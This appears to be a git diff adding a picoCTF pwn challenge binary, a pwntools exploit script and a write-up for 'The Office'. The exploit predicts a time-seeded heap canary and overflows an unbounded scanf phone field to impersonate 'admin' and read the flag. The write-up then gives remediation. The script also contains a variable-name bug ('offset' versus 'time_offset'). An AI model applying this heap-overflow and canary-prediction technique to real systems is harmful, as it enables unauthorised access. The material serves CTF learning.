diff --git a/picoctf/pwn/the_office/handout/the_office b/picoctf/pwn/the_office/handout/the_office new file mode 100644 index 00000000..bb05a2da Binary files /dev/null and b/picoctf/pwn/the_office/handout/the_office differ diff --git a/picoctf/pwn/the_office/the_office_exploit.py b/picoctf/pwn/the_office/the_office_exploit.py new file mode 100644 index 00000000..04bff1eb --- /dev/null +++ b/picoctf/pwn/the_office/the_office_exploit.py @@ -0,0 +1,70 @@ +from pwn import * +from ctypes import CDLL +import ctypes.util + +libc_path = ctypes.util.find_library("c") +libc = CDLL(libc_path) + +elf = context.binary = './the_office' + +def connect(): + if args.LOCAL: + return process() + else: + return remote('wily-courier.picoctf.net', 49719) + +def get_canary(time_offset): + # srand(time(NULL)) + libc.srand(libc.time(None) + time_offset) + return libc.rand() + +def add_employee(process, name, salary, phone): + process.sendlineafter(b'token', b'1') + process.sendlineafter(b'Name: ', name) + process.sendlineafter(b'Email (y/n)? ', b'n') + process.sendlineafter(b'Salary: ', salary) + process.sendlineafter(b'Phone #: ', phone) + process.sendlineafter(b'Bldg (y/n)? ', b'n') + +def main(): + time_offset = 0 + + while 1: + # set up process and try to generate random number within the second + process = connect() + heap_canary = get_canary(time_offset) + log.info(f"Canary guess: {hex(heap_canary)}") + + # add two employees next to each other on the heap + add_employee(process, b'Employee 1', b'1', b'1') + log.info("Created first employee") + add_employee(process, b'Employee 2', b'2', b'2') + log.info("Created second employee") + + # delete the first employee + process.sendlineafter(b'token', b'2') + process.sendlineafter(b'Employee #?\n', b'0') + log.info("Removed first employee") + + # create the phone number overflow payload + payload = b'A' * 28 # garbage to the end of the employee + payload += p32(heap_canary) # canary + payload += p32(0x34 | 0x1) * 2 # size and alloc + payload += b'admin' # overwritten name of employee 2 + + add_employee(process, b'Employee 3', b'3', payload) + + try: + process.sendlineafter(b'token', b'4') + except EOFError: + # if this fails, the offset was wrong; reconnect + offset += 1 + continue + + process.sendlineafter(b'Employee #?\n', b'1') + log.success(f'Flag: {process.recvline().decode()}') + process.close() + break + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/picoctf/pwn/the_office/the_office_writeup.md b/picoctf/pwn/the_office/the_office_writeup.md new file mode 100644 index 00000000..aca79977 --- /dev/null +++ b/picoctf/pwn/the_office/the_office_writeup.md @@ -0,0 +1,264 @@ +# PicoCTF: pwn/The Office + +*“I’m tired of having to secure my data on the heap, so I decided to implement my own version of malloc with canaries. It’s 10x more secure and only 100x slower!”* + +## Challenge Artifacts +- `the_office`, an x86 stripped no-PIE ELF binary. + +## Context +When running the challenge, we get the following menu. + +``` +$ nc wily-courier.picoctf.net 64845 +0) Exit +1) Add employee +2) Remove employee +3) List employees +4) Get access token +``` + +The binary is stripped, but we can tell from the call to `__libc_start_main` that this main function starts at `0x08048e49`. + +``` +int main(int argc,char **argv) +{ + int employee_idx; + int employee_arr [11]; + + int option = 3; /* the first time, just print the employees */ + + while (1) { + if (option == 0) { + return 0; + } + ... + option = print_options(); + } +``` + +Option 1 creates a new “employee” by calling the function at `0x080488c9`. The email and building fields are optional. + +``` +1 +Name: Elizabeth +Email (y/n)? y +Email address: egkushelevsky@gmail.com +Salary: 1000000 +Phone #: 1234567890 +Bldg (y/n)? y +Bldg #: 123123 +``` + +If this is the first allocation, a call to the function at `0x08049240` will `mmap()` a heap and initialize the canary. +``` +int office_init() +{ + if (heap_listp == (void *)0x0) { + heap_base = mmap((void *)0x0, 0x1000, 3, 0x22, -1, 0); + if ((heap_base == (void *)0xffffffff) || (heap_base == (void *)0x0)) { + puts("Memory Error :("); + return 0; + } + else { + /* srand(time(NULL)) */ + uint __seed = time((time_t *)0x0); + srand(__seed); + canary_in_mem = rand(); + heap_top = (int)heap_base + 0x1000; + heap_listp = heap_base; + configure_header(heap_base, 0x1000 - DAT_0804c060, 0, 0, 1); + return 1; + } + } + else + return 1; +} +``` + +So, we see from the decompiled function that the canary is set using pseudorandom number generation. + +There is also a call to the `configure_header()` function, which starts at `0x080491f0`. It puts the canary we just set into the start of each allocation, as well as the current and previous allocations’ size and status. + +``` +void configure_header(char *heap_listp, uint size, byte alloc, uint prev_size, byte prev_alloc) +{ + if (heap_base != 0) { + *heap_base = canary_in_mem; + heap_base[1] = alloc | size; + heap_base[2] = prev_alloc | prev_size; + } + return; +} +``` + +This is why we see in the function that calls `office_init()` a size adjustment function which adds 12 to the block size. + +``` +int call_check_setup(uint requested_size) +{ + char retval; + uint uVar1; + uint heaplistp_param; + + if (heap_check(0) != 1) { + puts("*** heap smashing detected ***"); + exit(-1); + } + /* first call: initialize heap */ + if ((heap_listp == 0) && (retval = office_init(), retval != '\x01')) + return 0; + + /* max alloc: 4068 bytes */ + if (requested_size + twelve_in_data < 0xff0) { + while (heap_listp < heap_top) { + if ((advance_4_bytes(heap_listp) == 0) && + requested_size <= next_even_address(heap_listp)) { + heap_listp = heap_base; + adjust_heap_size(heap_listp, requested_size); + + if (heap_check(0) != 1) { + puts("*** heap smashing detected ***"); + exit(-1); + } + return heaplistp + 0xc; + } + heap_listp = advance_address(heap_listp); + } + heap_listp = heap_base; + } + return 0; +} +``` + +This is also the first use we see of the heap check function at `0x0804981c`, which checks the header blocks and complains of heap smashing if they are incorrect. The whole implementation is not relevant here so it’s not shown, but it is worth noting that the function prints helpful information about the heap when passed a nonzero argument, which may be used for an exploit. The heap check function is called in `main()` on every prompt iteration. + + +Returning to the creation function, the program prompts for each part of the employee structure, reads them using `scanf()`, and writes them to the heap region. + +``` +char *add_employee(void) +{ + /* get pointer to space on heap (not shown) */ + char *employee_start = (char *)check_setup(0x28); + + ... + printf("Name: "); + /* "%15s" */ + __isoc99_scanf(&name_format_string, employee_start);\ + + if (strncmp(employee_start,"admin", 6) == 0) { + puts("Cannot be admin!"); + exit(-1); + } + + printf("Email (y/n)? "); + __isoc99_scanf("%c", &yn); + + if ((yn == 'n') || (yn == 'N')) { + employee_start[0x10] = '\0'; + employee_start[0x11] = '\0'; + employee_start[0x12] = '\0'; + employee_start[0x13] = '\0'; + } else { + printf("Email address: "); + __isoc99_scanf("%127s", email); + + /* copy email onto heap */ + email_len = strnlen(email, 0x7f); + strncpy(*(char **)(employee_start + 0x10), email, email_len); + *(char *)(*(int *)(employee_start + 0x10) + email_len) = 0; + } + + printf("Salary: "); + __isoc99_scanf(&salary_format_string,employee_start + 0x14); + + printf("Phone #: "); + __isoc99_scanf("%s",employee_start + 0x18); + + printf("Bldg (y/n)? "); + __isoc99_scanf("%s",&yn); + if ((yn != 'n') && (yn != 'N')) { + printf("Bldg #: "); + __isoc99_scanf("%u",employee_start + 0x24); + + } + + return employee_start; +} +``` + +From this function, we see that each employee in memory looks like this. + +``` +0x0 0xc 0x1c 0x20 0x24 0x30 0x34 0x40 + +-----------------------+-----------------+-------+-------+-----------------------+--------+------------------------+ + | canary | curr | prev | name | email | salary| phone | bldg | unused/padding | + +-----------------------+-----------------+-------+-------+-----------------------+--------+------------------------+ +``` + +The other key function of this program starts at `0x08048d42` and is called by user option 4. + +``` +4 +Employee #? +0 +Not admin +``` + +The function requires the username `admin`. However, as we saw in the allocation function, the user should not be able to set their name to `admin`, so the exploit will involve finding a way around this. + +``` +void get_flag(char *name) +{ + char flag_buf[128]; + + if (strncmp(name, "admin", 6) != 0) { + puts("Not admin"); + return; + } + + FILE *__stream = fopen("flag.txt","r"); + fgets(flag_buf, 0x7f ,__stream); + if (fgets(flag_buf,0x7f,__stream)) { + puts(flag_buf); + fclose(__stream); + exit(0); + } + +} +``` + +## Vulnerability +The vulnerability is a buffer overflow in the function to allocate a new employee. The phone number is stored as a string, but the call to `scanf()` uses a format string without a length specifier (`“%s”` in `.rodata`). Without a length, we can write over the expected size into another employee’s name field. + +## Exploit +We can use the pseudorandom number generation as an attack primitive to recreate the stack canary. Since it’s set by the first call to `random()` after seeding with `time(NULL)`, if we can guess the time the program runs to the granularity of 1 second, we can get the canary. + +From there, we just have to allocate two blocks, free the first, and reallocate its space with an overflowed phone number to change the second name to `“admin”`. Since we know the size and allocation of both blocks, we can overwrite those as well. The phone number is a fixed 28 bytes from the end of its structure, so we fill those bytes with garbage, replace the canary, and write `“admin”`. + +I accomplished these steps in [`the_office_exploit.py`](./the_office_exploit.py). I used the `ctypes` library to call the stdlib random functions directly in my Python script. + +``` +(venv) elizabeth@linux-vm:~/ctf$ python3 the_office_exploit.py +[*] '/home/elizabeth/ctf/the_office' + Arch: i386-32-little + RELRO: Partial RELRO + Stack: Canary found + NX: NX enabled + PIE: No PIE (0x8048000) +[+] Opening connection to wily-courier.picoctf.net on port 49719: Done +[*] Canary guess: 0x3d273e5a +[*] Created first employee +[*] Created second employee +[*] Removed first employee +[+] Flag: picoCTF{54456a0651351f5815c9237f098aa558} +[*] Closed connection to wily-courier.picoctf.net port 49719 +``` + +## Remediation +To fix this vulnerability, the program should change the `scanf()` call to use a format string which specifies a character limit. For the space shown for the phone number, this should be `"%12s"`. + +It is also not a good idea to generate custom heap canaries using an easily replicable scheme. The programmer could look into a method that is harder to guess/reproduce from an attacker over a TCP connection, like how glibc stack canaries can be randomly seeded from their system’s `/dev/urandom`. In a local setting, to prevent the canary being leaked in a debugger, the programmer might change the allocation function to more frequently update the heap canaries, or look into a different protection method. + +## Credits +Written by [Elizabeth Kushelevsky](https://github.com/egkushelevsky). Challenge by madStacks on PicoCTF. \ No newline at end of file